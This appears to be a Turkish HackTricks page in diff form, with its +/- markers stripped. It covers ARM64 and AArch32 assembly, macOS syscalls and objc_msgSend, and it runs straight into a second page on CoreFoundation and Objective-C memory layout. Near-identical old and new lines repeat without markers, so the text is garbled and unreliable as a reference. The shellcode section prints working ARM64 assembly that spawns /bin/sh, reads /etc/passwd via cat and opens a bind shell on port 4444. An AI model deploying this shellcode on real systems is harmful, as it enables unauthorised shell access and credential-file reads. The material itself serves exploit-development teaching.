* Örnek: `adrp x0, symbol` — Bu, `symbol`'ün sayfa adresini hesaplar ve `x0`'da saklar.
* **`ldrsw`**: Bellekten işaretle **32 bitlik** bir değeri **64 bit**e genişle ve **yükle**.
* Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan işaretle 32 bitlik bir değeri yükler, 64 bit'e genişletir ve `x0`'a saklar.
* **`stur`**: Bir kayıt değerini bir bellek konumuna **kaydet**, başka bir kayıttan bir ofset kullanarak.
* Örnek: `adrp x0, symbol` — Bu, `symbol`'ün sayfa adresini hesaplar ve `x0`'a saklar.
* **`ldrsw`**: Bellekten işaretle **32 bitlik** bir değeri **64 bitlere genişleterek yükle**.
* Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan işaretle 32 bitlik bir değeri yükler, 64 bitlere genişletir ve `x0`'a saklar.
* **`stur`**: Bir kayıt değerini başka bir kayıttan ofset kullanarak bir bellek konumuna **kaydet**.
* Örnek: `stur x0, [x1, #4]` — Bu, `x1` içindeki adresin 4 byte daha büyük olan bellek adresine `x0` içindeki değeri kaydeder.
* **`svc`** : Bir **sistem çağrısı** yap. "Supervisor Call" kısaltmasıdır. İşlemci bu talimatı çalıştırdığında, **kullanıcı modundan çekirdek moduna geçer** ve **çekirdeğin sistem çağrısı işleme** kodunun bulunduğu belirli bir bellek konumuna atlar.
* **`svc`** : Bir **sistem çağrısı** yap. "Supervisor Call" kısaltmasıdır. İşlemci bu komutu çalıştırdığında, **kullanıcı modundan çekirdek moduna geçer** ve belleğin belirli bir konumuna atlar, burada **çekirdeğin sistem çağrısı işleme** kodu bulunur.
* Örnek:
```armasm
@ -246,7 +247,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
{% endcode %}
2. **Yeni çerçeve işaretçisini ayarlayın**: `mov x29, sp` (geçerli işlev için yeni çerçeve işaretçisini ayarlar)
3. **Yerel değişkenler için yığın üzerinde alan ayırın** (gerekiyorsa): `sub sp, sp, <boyut>` (burada `<boyut>`, ihtiyaç duyulan bayt sayısıdır)
3. **Yerel değişkenler için yığın üzerinde yer ayırın** (gerekiyorsa): `sub sp, sp, <boyut>` (burada `<boyut>`, ihtiyaç duyulan bayt sayısıdır)
### **İşlev Sonu**
@ -259,16 +260,16 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
```
{% endcode %}
3. **Dönüş**: `ret` (kontrolü çağırana link register'daki adrese döndürür)
3. **Dönüş**: `ret` (kontrolü çağırana link kaydedicideki adrese döndürür)
## AARCH32 Yürütme Durumu
Armv8-A, 32 bitlik programların yürütülmesini destekler. **AArch32**, **iki komut setinden** birinde çalışabilir: **`A32`** ve **`T32`** ve aralarında **`geçişli çalışma`** ile geçiş yapabilir.\
**Ayrıcalıklı** 64 bitlik programlar, daha düşük ayrıcalıklı 32 bitlik programa bir istisna seviyesi aktarımı gerçekleştirerek **32 bitlik programların yürütülmesini** planlayabilir.\
64 bitlikten 32 bitliğe geçişin, daha düşük bir istisna seviyesi ile gerçekleştiğini unutmayın (örneğin, EL1'de 64 bitlik bir program EL0'da bir programa tetikleme). Bu, `AArch32` işlem ipliğinin yürütülmeye hazır olduğunda **`SPSR_ELx`** özel kaydının **4. bitini 1** olarak ayarlayarak ve geri kalan `SPSR_ELx`'in **`AArch32`** programlarının CPSR'ını saklayarak yapılır. Ardından, ayrıcalıklı işlem **`ERET`** komutunu çağırarak işlemcinin **`AArch32`**'ye geçiş yapmasını sağlar ve CPSR'a bağlı olarak A32 veya T32'ye girer\*\*.\*\*
Armv8-A, 32 bitlik programların yürütülmesini destekler. **AArch32**, **iki komut setinden** birinde çalışabilir: **`A32`** ve **`T32`** ve aralarında **`geçiş`** yapabilir.\
**Ayrıcalıklı** 64 bitlik programlar, daha düşük ayrıcalıklı 32 bitlik programa bir istisna seviye transferi gerçekleştirerek **32 bitlik programların yürütülmesini** planlayabilir.\
64 bitlikten 32 bitliğe geçişin, istisna seviyesinin düşürülmesiyle gerçekleştiğini unutmayın (örneğin, EL1'de 64 bitlik bir program EL0'da bir programı tetikler). Bu, `AArch32` işlem ipliğinin yürütülmeye hazır olduğunda **`SPSR_ELx`** özel kaydedicisinin **4. bitini 1** olarak ayarlayarak yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programlarının CPSR'ini saklar. Ardından, ayrıcalıklı işlem **`ERET`** komutunu çağırarak işlemcinin **`AArch32`**'ye geçiş yapmasını sağlar ve CPSR'ye bağlı olarak A32 veya T32'ye girer.
**`Geçişli çalışma`**, CPSR'ın J ve T bitleri kullanılarak gerçekleştirilir. `J=0` ve `T=0` **`A32`** anlamına gelir ve `J=0` ve `T=1` **T32** anlamına gelir. Bu temelde, komut setinin T32 olduğunu belirtmek için **en düşük bitin 1** olarak ayarlanması anlamına gelir.\
Bu, **geçişli dallanma komutları** sırasında ayarlanır, ancak PC hedef kayıt olarak ayarlandığında diğer komutlarla doğrudan ayarlanabilir. Örnek:
**`Geçiş`**, CPSR'nin J ve T bitleri kullanılarak gerçekleşir. `J=0` ve `T=0` **`A32`** anlamına gelir ve `J=0` ve `T=1` **T32** anlamına gelir. Bu temelde, komut setinin T32 olduğunu belirtmek için **en düşük bitin 1** olarak ayarlanması anlamına gelir.\
Bu, **geçiş dalı komutları** sırasında ayarlanır, ancak PC hedef kaydedici olarak ayarlandığında diğer komutlarla da doğrudan ayarlanabilir. Örnek:
Başka bir örnek:
```armasm
@ -283,20 +284,20 @@ mov r0, #8
```
### Kayıtlar
16 adet 32-bit kayıt bulunmaktadır (r0-r15). **r0'dan r14'e kadar** herhangi bir işlem için kullanılabilirler, ancak bazıları genellikle ayrılmıştır:
16 adet 32-bit kayıt bulunmaktadır (r0-r15). **r0'dan r14'e** kadar olanlar **herhangi bir işlem için** kullanılabilir, ancak bazıları genellikle ayrılmıştır:
- **`r15`**: Program sayacı (her zaman). Bir sonraki talimatın adresini içerir. A32'de mevcut + 8, T32'de ise mevcut + 4.
- **`r15`**: Program sayacı (her zaman). Bir sonraki komutun adresini içerir. A32'de mevcut + 8, T32'de ise mevcut + 4.
- **`r11`**: Çerçeve İşaretçisi
- **`r12`**: İç işlevsel çağrı kaydı
- **`r12`**: İçsel işlem çağrı kaydedici
- **`r13`**: Yığın İşaretçisi
- **`r14`**: Bağlantı Kaydedici
Ayrıca, kayıtlar **`bankalı kayıtlar`**da yedeklenir. Bu, istisna işleme ve ayrıcalıklı işlemlerde **hızlı bağlam değiştirme** yapabilmek için kayıt değerlerini depolayan yerlerdir, böylece her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırır.\
Bu, işlemcinin durumunu istisna alınan işlemcinin moduna **`CPSR`'den `SPSR`'ye** kaydederek yapılır. İstisna dönüşlerinde, **`CPSR`** **`SPSR`**'den geri yüklenir.
Ayrıca, kayıtlar **`banked registries`** içinde yedeklenir. Bu, istisna işleme ve ayrıcalıklı işlemlerde **hızlı bağlam değiştirme** yapabilmek için kayıt değerlerini depolayan yerlerdir ve her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırır.\
Bu, işlemcinin durumunu **`CPSR`**'den işlemcinin alındığı işlemci modunun **`SPSR`**'ine kaydederek yapılır. İstisna dönüşlerinde, **`CPSR`** **`SPSR`**'den geri yüklenir.
### CPSR - Geçerli Program Durumu Kaydedici
AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve bir istisna alındığında daha sonra geri yüklemek için **`SPSR_ELx`**'de depolanır:
AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve bir istisna alındığında ileride geri yüklemek üzere **`SPSR_ELx`** içinde depolanır:
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
@ -308,33 +309,33 @@ Alanlar bazı gruplara ayrılmıştır:
#### Uygulama Program Durumu Kaydedici (APSR)
- **`N`**, **`Z`**, **`C`**, **`V`** bayrakları (AArch64'te olduğu gibi)
- **`Q`** bayrağı: Özel doyurucu aritmetik talimatın yürütülmesi sırasında **tamsayı doygunluğu oluştuğunda** 1 olarak ayarlanır. Bir kez **`1`** olarak ayarlandığında, elle 0 olarak ayarlanana kadar değeri korur. Ayrıca, değerini zımni olarak kontrol eden herhangi bir talimat yoktur, değeri manuel olarak okunarak kontrol edilmelidir.
- **`GE`** (Büyük veya eşit) Bayraklar: SIMD (Tek Talimat, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler, bir talimattaki birden fazla veri noktasının işlenmesine izin verir.
- **`Q`** bayrağı: Özel doyurucu aritmetik komutun yürütülmesi sırasında **tamsayı doygunluğu oluştuğunda** 1 olarak ayarlanır. Bir kez **`1`** olarak ayarlandığında, elle 0 olarak ayarlanana kadar değeri korur. Ayrıca, değerini örtük olarak kontrol eden herhangi bir komut yoktur, değeri manuel olarak okunarak kontrol edilmelidir.
- **`GE`** (Büyük veya eşit) Bayraklar: SIMD (Tek Komutla, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler tek bir komutta birden fazla veri noktasını işlemeyi sağlar.
Örneğin, **`UADD8`** talimatı, paralel olarak dört çift baytı (iki 32-bit işleçten) ekler ve sonuçları bir 32-bit kaydedicide depolar. Ardından, bu sonuçlara dayanarak **`APSR`'deki `GE`** bayraklarını ayarlar. Her GE bayrağı, o bayt çifti için eklemenin taştığını gösterir.
Örneğin, **`UADD8`** komutu, paralel olarak dört çift baytı (iki 32-bit işlemden) ekler ve sonuçları bir 32-bit kaydediciye depolar. Ardından, bu sonuçlara dayanarak **`APSR`** içindeki **`GE`** bayraklarını ayarlar. Her GE bayrağı, bayt eklemelerinden birine karşılık gelir ve o bayt çifti için eklemenin taştığını gösterir.
**`SEL`** talimatı, bu GE bayraklarını koşullu işlemler yapmak için kullanır.
**`SEL`** komutu, bu GE bayraklarını koşullu işlemler yapmak için kullanır.
#### İşlem Durumu Kaydedicileri
- **`J`** ve **`T`** bitleri: **`J`** 0 olmalı ve **`T`** 0 ise A32 talimat seti kullanılır, 1 ise T32 kullanılır.
- **IT Blok Durum Kaydedici** (`ITSTATE`): Bunlar 10-15 ve 25-26'dan gelen bitlerdir. Bir **`IT`** ön ekli grup içindeki talimatlar için koşulları depolarlar.
- **`J`** ve **`T`** bitleri: **`J`** 0 olmalıdır ve **`T`** 0 ise A32 komut seti kullanılır, 1 ise T32 kullanılır.
- **IT Blok Durum Kaydedici** (`ITSTATE`): Bunlar 10-15 ve 25-26'dan gelen bitlerdir. Bir **`IT`** ön ekli grup içindeki komutlar için koşulları depolarlar.
- **`E`** biti: **endianness**'ı belirtir.
- **Mod ve İstisna Maskesi Bitleri** (0-4): Mevcut yürütme durumunu belirler. 5. olan programın 32 bit (1) veya 64 bit (0) olarak çalıştığını belirtir. Diğer 4'ü, kullanılan mevcut istisna modunu belirtir (bir istisna oluştuğunda ve işlendiğinde). Sayı seti, bunun işlenirken başka bir istisna tetiklenirse mevcut önceliği belirtir.
- **Mod ve İstisna Maske Bitleri** (0-4): Mevcut yürütme durumunu belirler. **5.** si programın 32 bit (1) veya 64 bit (0) olarak çalıştığını belirtir. Diğer 4'ü, kullanılan mevcut istisna modunu belirtir (bir istisna oluştuğunda ve işlendiğinde). Sayı seti, bunun işlenirken başka bir istisna tetiklenirse mevcut önceliği belirtir.
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**: Belirli istisnalar, **`A`**, `I`, `F` bitleri kullanılarak devre dışı bırakılabilir. **`A`** 1 ise **asenkron hatalar** tetikleneceği anlamına gelir. **`I`**, harici donanım **Kesme İstekleri'ne** (IRQ'ler) yanıt vermek için yapılandırılır ve F, **Hızlı Kesme İstekleri'ne** (FIR'ler) ilişkilidir.
- **`AIF`**: Belirli istisnalar, **`A`**, `I`, `F` bitleri kullanılarak devre dışı bırakılabilir. **`A`** 1 ise **asenkron hatalar** tetikleneceği anlamına gelir. **`I`**, harici donanım **Kesme İstekleri'ne** (IRQ'lar) yanıt vermek için yapılandırılır ve F, **Hızlı Kesme İstekleri'ne** (FIR'lar) ilişkilidir.
## macOS
### BSD sistem çağrıları
[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)'a göz atın. BSD sistem çağrıları **x16 > 0** olacaktır.
[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) dosyasına göz atın. BSD sistem çağrıları **x16 > 0** olacaktır.
### Mach Tuzakları
[mach_trap_table](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) ve [mach_traps.h](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) içindeki prototiplere bakın. Mach tuzaklarının sayısı `MACH_TRAP_TABLE_COUNT` = 128'dir. Mach tuzakları **x16 < 0** olacaktır, bu nedenle önceki listedeki numaraları bir **eksi** ile çağırmalısınız: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur.
[mach_trap_table](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) ve [mach_traps.h](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) dosyalarına bakın. Mach tuzaklarının sayısı `MACH_TRAP_TABLE_COUNT` = 128'dir. Mach tuzakları **x16 < 0** olacaktır, bu nedenle önceki listedeki numaraları bir **eksi** ile çağırmalısınız: **`_kernelrpc_mach_vm_allocate_trap`** **`-10`**'dur.
Bu (ve BSD) sistem çağrılarını nasıl çağıracağınızı bulmak için bir ayraçta **`libsystem_kernel.dylib`**'i kontrol edebilirsiniz:
@ -349,16 +350,16 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
{% endcode %}
{% hint style="success" %}
Bazen, **`libsystem_kernel.dylib`** dosyasından **derlenmiş** kodu kontrol etmek, **kaynak kodunu** kontrol etmekten daha kolay olabilir çünkü birkaç sistem çağrısının (BSD ve Mach) kodu betikler aracılığıyla oluşturulur (kaynak kodundaki yorumlara bakın) iken dylib dosyasında neyin çağrıldığını bulabilirsiniz.
Bazen **`libsystem_kernel.dylib`** dosyasından **derlenmiş** kodu kontrol etmek **kaynak kodunu** kontrol etmekten daha kolay olabilir çünkü birkaç sistem çağrısının (BSD ve Mach) kodu betikler aracılığıyla oluşturulur (kaynak kodundaki yorumlara bakın) iken dylib dosyasında neyin çağrıldığını bulabilirsiniz.
{% endhint %}
### machdep çağrıları
XNU, makine bağımlı olarak adlandırılan başka bir çağrı türünü destekler. Bu çağrıların sayısı mimariye bağlıdır ve ne çağrılar ne de sayılar sabit kalması garanti edilmez.
XNU, makine bağımlı olarak adlandırılan başka bir çağrı türünü destekler. Bu çağrıların sayısı mimariye bağlıdır ve ne çağrılar ne de numaraların sabit kalması garanti edilmez.
### comm sayfası
Bu, her kullanıcı işleminin adres alanına eşlenen bir çekirdek sahibi bellek sayfasıdır. Bu, kullanıcı modundan çekirdek alanına geçişi, bu geçişin çok verimsiz olacağı çekirdek hizmetleri için sistem çağrılarını kullanmaktan daha hızlı yapmayı amaçlar.
Bu, her kullanıcı işleminin adres alanına eşlenmiş olan bir çekirdek sahibi bellek sayfasıdır. Bu, kullanıcı modundan çekirdek alanına geçişi, bu geçişin çok verimsiz olacağı çekirdek hizmetleri için sistem çağrılarını kullanmaktan daha hızlı yapmayı amaçlar.
Örneğin, `gettimeofdate` çağrısı, `timeval` değerini doğrudan comm sayfasından okur.
@ -368,12 +369,13 @@ Bu fonksiyonun Objective-C veya Swift programlarında sıkça kullanıldığın
Parametreler ([daha fazla bilgi için dokümantasyona bakın](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
* x0: self -> Örneğin işaretçisi
* x0: self -> Örneğin işaretçi
* x1: op -> Yöntemin seçicisi
* x2... -> Çağrılan yöntemin diğer argümanları
Bu nedenle, bu fonksiyona yapılan dal öncesinde kesme noktası koyarsanız, lldb'de neyin çağrıldığını kolayca bulabilirsiniz (bu örnekte nesne, bir komut çalıştıracak olan `NSConcreteTask` nesnesini çağırır).
```
Bu nedenle, bu fonksiyona yapılan dal öncesinde kesme noktası koyarsanız, lldb'de neyin çağrıldığını kolayca bulabilirsiniz (bu örnekte nesne, bir komut çalıştıracak olan `NSConcreteTask` nesnesinden bir nesneyi çağırır).
```bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
@ -390,9 +392,29 @@ whoami
)
```
{% hint style="success" %}
`NSObjCMessageLoggingEnabled=1` ortam değişkenini ayarlayarak, bu işlevin `/tmp/msgSends-pid` gibi bir dosyada ne zaman çağrıldığını kaydetmek mümkündür.
**`NSObjCMessageLoggingEnabled=1`** çevresel değişkeni ayarlanarak bu işlevin `/tmp/msgSends-pid` gibi bir dosyada çağrıldığında kaydedilmesi mümkündür.
Ayrıca, **`OBJC_HELP=1`** ayarlanarak herhangi bir ikili dosyayı çağırarak belirli Objc-C eylemleri gerçekleştiğinde **kaydetmek** için kullanabileceğiniz diğer çevresel değişkenleri görebilirsiniz.
{% endhint %}
Bu işlev çağrıldığında, belirtilen örneğin çağrılan yöntemini bulmak gereklidir, bunun için farklı aramalar yapılır:
* İyimser önbellek araması yap:
* Başarılıysa, tamam
* runtimeLock al (okuma)
* (gerçekleştir && !cls->realized) ise sınıfı gerçekleştir
* (initialize && !cls->initialized) ise sınıfı başlat
* Sınıfın kendi önbelleğini dene:
* Başarılıysa, tamam
* Sınıf yöntem listesini dene:
* Bulunduysa, önbelleği doldur ve tamam
* Üst sınıf önbelleğini dene:
* Başarılıysa, tamam
* Üst sınıf yöntem listesini dene:
* Bulunduysa, önbelleği doldur ve tamam
* (çözücü) yöntem çözücüyü dene ve sınıf aramasından tekrarla
* Hala buradaysa (= her şey başarısız oldu) yönlendiriciyi dene
### Kabuk Kodları
Derlemek için:
@ -403,7 +425,7 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
```
Baytları çıkarmak için:
Bytes'ı çıkarmak için:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
@ -465,6 +487,8 @@ sc();
return 0;
}
```
</details>
#### Kabuk
[**buradan**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) alınmış ve açıklanmıştır.
@ -534,12 +558,9 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
sh_path: .asciz "/bin/sh"
```
{% endtab %}
{% endtabs %}
#### Cat ile oku
#### Cat ile okuma
Amacımız `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` komutunu çalıştırmak, bu yüzden ikinci argüman (x1) parametrelerin bir dizisi olmalıdır (bellekte bu adreslerin bir yığını anlamına gelir).
Amacımız `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` komutunu çalıştırmak, bu nedenle ikinci argüman (x1) parametrelerin bir dizisi olmalıdır (bellekte bu adreslerin bir yığını anlamına gelir).
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -611,7 +632,7 @@ touch_command: .asciz "touch /tmp/lalala"
```
#### Bağlama kabuğu
Bağlama kabuğu [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) adresinden **4444 portu** üzerinden.
Bağlama kabuğu [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) üzerinden **4444 numaralı bağlantı noktasında**.
```armasm
.section __TEXT,__text
.global _main
@ -762,16 +783,17 @@ mov x2, xzr
mov x16, #59
svc #0x1337
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -0,0 +1,160 @@
# Bellek içindeki nesneler
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını paylaşarak PR'ler göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## CFRuntimeClass
CF\* nesneleri CoreFoundation'dan gelir ve `CFString`, `CFNumber` veya `CFAllocatior` gibi 50'den fazla nesne sınıfı sağlar.
Tüm bu sınıflar, `CFRuntimeClass` sınıfının örnekleridir ve çağrıldığında `__CFRuntimeClassTable`'a bir dizin döndürür. CFRuntimeClass, [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html)'de tanımlanmıştır.
```objectivec
// Some comments were added to the original code
enum { // Version field constants
_kCFRuntimeScannedObject = (1UL << 0),
_kCFRuntimeResourcefulObject = (1UL << 2), // tells CFRuntime to make use of the reclaim field
_kCFRuntimeCustomRefCount = (1UL << 3), // tells CFRuntime to make use of the refcount field
_kCFRuntimeRequiresAlignment = (1UL << 4), // tells CFRuntime to make use of the requiredAlignment field
};
typedef struct __CFRuntimeClass {
CFIndex version; // This is made a bitwise OR with the relevant previous flags
const char *className; // must be a pure ASCII string, nul-terminated
void (*init)(CFTypeRef cf); // Initializer function
CFTypeRef (*copy)(CFAllocatorRef allocator, CFTypeRef cf); // Copy function, taking CFAllocatorRef and CFTypeRef to copy
void (*finalize)(CFTypeRef cf); // Finalizer function
Boolean (*equal)(CFTypeRef cf1, CFTypeRef cf2); // Function to be called by CFEqual()
CFHashCode (*hash)(CFTypeRef cf); // Function to be called by CFHash()
CFStringRef (*copyFormattingDesc)(CFTypeRef cf, CFDictionaryRef formatOptions); // Provides a CFStringRef with a textual description of the object// return str with retain
CFStringRef (*copyDebugDesc)(CFTypeRef cf); // CFStringRed with textual description of the object for CFCopyDescription
#define CF_RECLAIM_AVAILABLE 1
void (*reclaim)(CFTypeRef cf); // Or in _kCFRuntimeResourcefulObject in the .version to indicate this field should be used
// It not null, it's called when the last reference to the object is released
#define CF_REFCOUNT_AVAILABLE 1
// If not null, the following is called when incrementing or decrementing reference count
uint32_t (*refcount)(intptr_t op, CFTypeRef cf); // Or in _kCFRuntimeCustomRefCount in the .version to indicate this field should be used
// this field must be non-NULL when _kCFRuntimeCustomRefCount is in the .version field
// - if the callback is passed 1 in 'op' it should increment the 'cf's reference count and return 0
// - if the callback is passed 0 in 'op' it should return the 'cf's reference count, up to 32 bits
// - if the callback is passed -1 in 'op' it should decrement the 'cf's reference count; if it is now zero, 'cf' should be cleaned up and deallocated (the finalize callback above will NOT be called unless the process is running under GC, and CF does not deallocate the memory for you; if running under GC, finalize should do the object tear-down and free the object memory); then return 0
// remember to use saturation arithmetic logic and stop incrementing and decrementing when the ref count hits UINT32_MAX, or you will have a security bug
// remember that reference count incrementing/decrementing must be done thread-safely/atomically
// objects should be created/initialized with a custom ref-count of 1 by the class creation functions
// do not attempt to use any bits within the CFRuntimeBase for your reference count; store that in some additional field in your CF object
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wmissing-field-initializers"
#define CF_REQUIRED_ALIGNMENT_AVAILABLE 1
// If not 0, allocation of object must be on this boundary
uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .version field to indicate this field should be used; the allocator to _CFRuntimeCreateInstance() will be ignored in this case; if this is less than the minimum alignment the system supports, you'll get higher alignment; if this is not an alignment the system supports (e.g., most systems will only support powers of two, or if it is too high), the result (consequences) will be up to CF or the system to decide
} CFRuntimeClass;
```
## Objective-C
### Kullanılan Bellek Bölümleri
ObjectiveC çalışma zamanı tarafından kullanılan verilerin çoğu yürütme sırasında değişeceğinden, bellekte **\_\_DATA** segmentinden bazı bölümleri kullanır:
- **`__objc_msgrefs`** (`message_ref_t`): Mesaj referansları
- **`__objc_ivar`** (`ivar`): Örnek değişkenler
- **`__objc_data`** (`...`): Değiştirilebilir veri
- **`__objc_classrefs`** (`Class`): Sınıf referansları
- **`__objc_superrefs`** (`Class`): Üst sınıf referansları
- **`__objc_protorefs`** (`protocol_t *`): Protokol referansları
- **`__objc_selrefs`** (`SEL`): Seçici referansları
- **`__objc_const`** (`...`): Sınıf `r/o` verileri ve diğer (umuyoruz ki) sabit veriler
- **`__objc_imageinfo`** (`version, flags`): Görüntü yükleme sırasında kullanılır: Şu anda `0` sürüm; Bayraklar önoptimize edilmiş GC desteğini belirtir, vb.
- **`__objc_protolist`** (`protocol_t *`): Protokol listesi
- **`__objc_nlcatlist`** (`category_t`): Bu ikili dosyada tanımlanan Tembel Olmayan Kategorilere işaretçi
- **`__objc_catlist`**** (`category_t`): Bu ikili dosyada tanımlanan Kategorilere işaretçi
- **`__objc_nlclslist`** (`classref_t`): Bu ikili dosyada tanımlanan Tembel Olmayan Objective-C sınıflarına işaretçi
- **`__objc_classlist`** (`classref_t`): Bu ikili dosyada tanımlanan tüm Objective-C sınıflarına işaretçiler
Ayrıca, sabit değerleri saklamak için **`__TEXT`** segmentinde birkaç bölüm daha kullanır:
- **`__objc_methname`** (C-String): Yöntem adları
- **`__objc_classname`** (C-String): Sınıf adları
- **`__objc_methtype`** (C-String): Yöntem tipleri
### Tür Kodlaması
Objective-C, basit ve karmaşık tiplerin seçici ve değişken tiplerini kodlamak için bazı karıştırma kullanır:
- İlkel tipler, tipin ilk harfini kullanır `i` için `int`, `c` için `char`, `l` için `long`... ve büyük harf kullanır işaretli ise (`L` için `unsigned Long`).
- Diğer veri tipleri, harfleri kullanılan veya özel olanlar, diğer harfler veya semboller kullanır, örneğin `q` için `long long`, `b` için `bit alanları`, `B` için `booleanlar`, `#` için `sınıflar`, `@` için `id`, `*` için `char işaretçileri`, `^` için genel `işaretçiler` ve `?` için `tanımsız`.
- Diziler, yapılar ve birlikler `[`, `{` ve `(` kullanır
#### Örnek Yöntem Bildirimi
{% code overflow="wrap" %}
```objectivec
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
```
{% endcode %}
Seçici `processString:withOptions:andError:` olacaktır.
#### Tür Kodlaması
* `id` `@` olarak kodlanır
